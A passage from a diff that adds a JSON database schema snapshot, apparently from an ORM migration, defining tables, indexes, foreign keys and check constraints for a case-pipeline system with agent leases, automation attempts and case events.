+          "name": "pipeline_automation_executions_status_check",
+          "value": "\"pipeline_automation_executions\".\"status\" in ('succeeded', 'failed')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_blockers": {
+      "name": "pipeline_case_blockers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "blocked_by_case_id": {
+          "name": "blocked_by_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_blockers_case_blocked_by_uq": {
+          "name": "pipeline_case_blockers_case_blocked_by_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_blocked_by_idx": {
+          "name": "pipeline_case_blockers_blocked_by_idx",
+          "columns": [
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_company_case_idx": {
+          "name": "pipeline_case_blockers_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_blockers_company_id_companies_id_fk": {
+          "name": "pipeline_case_blockers_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "blocked_by_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_blockers_no_self_block_check": {
+          "name": "pipeline_case_blockers_no_self_block_check",
+          "value": "\"pipeline_case_blockers\".\"case_id\" <> \"pipeline_case_blockers\".\"blocked_by_case_id\""
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_documents": {
+      "name": "pipeline_case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_documents_company_case_key_uq": {
+          "name": "pipeline_case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_document_uq": {
+          "name": "pipeline_case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_company_case_updated_idx": {
+          "name": "pipeline_case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_documents_company_id_companies_id_fk": {
+          "name": "pipeline_case_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_documents_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_document_id_documents_id_fk": {
+          "name": "pipeline_case_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_events": {
+      "name": "pipeline_case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_events_case_created_idx": {
+          "name": "pipeline_case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_events_company_case_idx": {
+          "name": "pipeline_case_events_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_events_company_id_companies_id_fk": {
+          "name": "pipeline_case_events_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_events_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_actor_agent_id_agents_id_fk": {
+          "name": "pipeline_case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_events_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_case_events_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_case_events",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_events_type_check": {
+          "name": "pipeline_case_events_type_check",
+          "value": "\"pipeline_case_events\".\"type\" in (\n        'ingested',\n        'updated',\n        'claimed',\n        'lease_released',\n        'lease_expired',\n        'transitioned',\n        'transition_forced',\n        'transition_suggested',\n        'suggestion_resolved',\n        'review_decided',\n        'conversation_opened',\n        'issue_linked',\n        'issue_unlinked',\n        'automation_executed',\n        'automation_failed',\n        'automation_retry_requested',\n        'automation_effects_retired',\n        'automation_retry_dispatched',\n        'blockers_set',\n        'blockers_resolved',\n        'children_terminal',\n        'upstream_drift',\n        'drift_acknowledged'\n      )"
+        },
+        "pipeline_case_events_actor_type_check": {
+          "name": "pipeline_case_events_actor_type_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        },
+        "pipeline_case_events_agent_run_check": {
+          "name": "pipeline_case_events_agent_run_check",
+          "value": "\"pipeline_case_events\".\"actor_type\" <> 'agent' or \"pipeline_case_events\".\"run_id\" is not null"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_issue_links": {
+      "name": "pipeline_case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_issue_links_case_issue_uq": {
+          "name": "pipeline_case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_issue_idx": {
+          "name": "pipeline_case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_company_case_idx": {
+          "name": "pipeline_case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_issue_links_automation_attempt_idx": {
+          "name": "pipeline_case_issue_links_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_issue_links_company_id_companies_id_fk": {
+          "name": "pipeline_case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_issue_links_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_issue_links_issue_id_issues_id_fk": {
+          "name": "pipeline_case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_issue_links_role_check": {
+          "name": "pipeline_case_issue_links_role_check",
+          "value": "\"pipeline_case_issue_links\".\"role\" in ('origin', 'conversation', 'work', 'automation')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_cases": {
+      "name": "pipeline_cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_key": {
+          "name": "case_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "workspace_ref": {
+          "name": "workspace_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_case_version": {
+          "name": "parent_case_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_key": {
+          "name": "request_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "automation_attempt_id": {
+          "name": "automation_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "pending_suggestion": {
+          "name": "pending_suggestion",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_owner_type": {
+          "name": "lease_owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_agent_id": {
+          "name": "lease_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_user_id": {
+          "name": "lease_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_token": {
+          "name": "lease_token",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "lease_expires_at": {
+          "name": "lease_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_kind": {
+          "name": "terminal_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "terminal_at": {
+          "name": "terminal_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_at": {
+          "name": "retired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_by_attempt_id": {
+          "name": "retired_by_attempt_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retired_reason": {
+          "name": "retired_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_from_board_at": {
+          "name": "hidden_from_board_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "child_count": {
+          "name": "child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "terminal_child_count": {
+          "name": "terminal_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_cases_pipeline_case_key_uq": {
+          "name": "pipeline_cases_pipeline_case_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_request_key_uq": {
+          "name": "pipeline_cases_parent_request_key_uq",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"pipeline_cases\".\"request_key\" is not null and \"pipeline_cases\".\"retired_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_company_idx": {
+          "name": "pipeline_cases_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_pipeline_stage_idx": {
+          "name": "pipeline_cases_pipeline_stage_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_parent_idx": {
+          "name": "pipeline_cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_automation_attempt_idx": {
+          "name": "pipeline_cases_automation_attempt_idx",
+          "columns": [
+            {
+              "expression": "automation_attempt_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_retired_idx": {
+          "name": "pipeline_cases_retired_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "retired_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_cases_lease_expires_idx": {
+          "name": "pipeline_cases_lease_expires_idx",
+          "columns": [
+            {
+              "expression": "lease_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"pipeline_cases\".\"lease_expires_at\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_cases_company_id_companies_id_fk": {
+          "name": "pipeline_cases_company_id_companies_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_cases_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_cases_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_parent_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_cases_parent_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_lease_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_lease_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lease_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipeline_cases_created_by_agent_id_agents_id_fk": {
+          "name": "pipeline_cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipeline_cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_cases_terminal_kind_check": {
+          "name": "pipeline_cases_terminal_kind_check",
+          "value": "\"pipeline_cases\".\"terminal_kind\" is null or \"pipeline_cases\".\"terminal_kind\" in ('done', 'cancelled')"
+        },
+        "pipeline_cases_lease_owner_type_check": {
+          "name": "pipeline_cases_lease_owner_type_check",
+          "value": "\"pipeline_cases\".\"lease_owner_type\" is null or \"pipeline_cases\".\"lease_owner_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_documents": {
+      "name": "pipeline_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_documents_company_pipeline_key_uq": {
+          "name": "pipeline_documents_company_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_document_uq": {
+          "name": "pipeline_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_company_pipeline_updated_idx": {
+          "name": "pipeline_documents_company_pipeline_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
